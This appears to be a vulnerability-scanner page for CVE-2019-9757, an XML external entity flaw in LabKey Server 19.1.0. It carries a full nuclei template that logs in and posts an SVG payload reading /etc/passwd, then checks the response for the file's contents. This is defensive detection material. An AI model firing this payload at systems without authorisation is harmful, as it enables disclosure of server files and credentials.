LabKey Server 19.1.0 - XML External Entity (XXE)

highseverity

7.5CVSS score

36.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

An issue was discovered in LabKey Server 19.1.0. Sending an SVG containing an XXE payload to the endpoint visualization-exportImage.view or visualization-exportPDF.view allows local files to be read.

Impact

Attackers can read arbitrary local files on the server, potentially leading to information disclosure.

Fix

Update to the latest version of LabKey Server or apply security patches that fix XML parsing vulnerabilities.

How to confirm it

Send: GET /labkey/home/project-begin.view
Send: POST /home/login-loginApi.api
Positive when: status_code == 200 and !status_code == 400
Send: POST /labkey/home/visualization-exportPDF.view
Positive when: regex("root:.*:0:0:", body) and status_code == 200

Run it with nuclei: nuclei -id CVE-2019-9757 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-9757

info:
  name: LabKey Server 19.1.0 - XML External Entity (XXE)
  author: ritikchaddha
  severity: high
  description: |
    An issue was discovered in LabKey Server 19.1.0. Sending an SVG containing an XXE payload to the endpoint visualization-exportImage.view or visualization-exportPDF.view allows local files to be read.
  impact: |
    Attackers can read arbitrary local files on the server, potentially leading to information disclosure.
  remediation: |
    Update to the latest version of LabKey Server or apply security patches that fix XML parsing vulnerabilities.
  reference:
    - https://rhinosecuritylabs.com/application-security/labkey-server-vulnerabilities-to-rce/
    - https://github.com/LabKey/Issues/issues/37636
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9757
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-9757
    cwe-id: CWE-611
    epss-score: 0.36502
    epss-percentile: 0.98504
    cpe: cpe:2.3:a:labkey:labkey_server:19.1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: labkey
    product: labkey_server
    shodan-query: title:"LabKey"
    fofa-query: title="LabKey"
  tags: cve,cve2019,labkey,xxe,authenticated,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /labkey/home/project-begin.view HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - '"X\-LABKEY\-CSRF":"([0-9a-z]+)"'
        internal: true

  - raw:
      - |
        POST /home/login-loginApi.api HTTP/1.1
        Host: {{Hostname}}
        X-LABKEY-CSRF: {{csrf}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        remember=on&email={{username}}&password={{password}}&approvedTermsOfUse=false

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - '!status_code == 400'
        condition: and
        internal: true

  - raw:
      - |
        POST /labkey/home/visualization-exportPDF.view HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150

        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="X-LABKEY-CSRF"

        {{csrf}}
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="svg"

        <?xml version="1.0" standalone="yes"?>
        <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
        <svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg">
        <text x="0" y="15" fill="red">&xxe;</text>
        </svg>
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="title"

        test
        -----------------------------735323031399963166993862150--

    matchers:
      - type: dsl
        dsl:
          - 'regex("root:.*:0:0:", body)'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from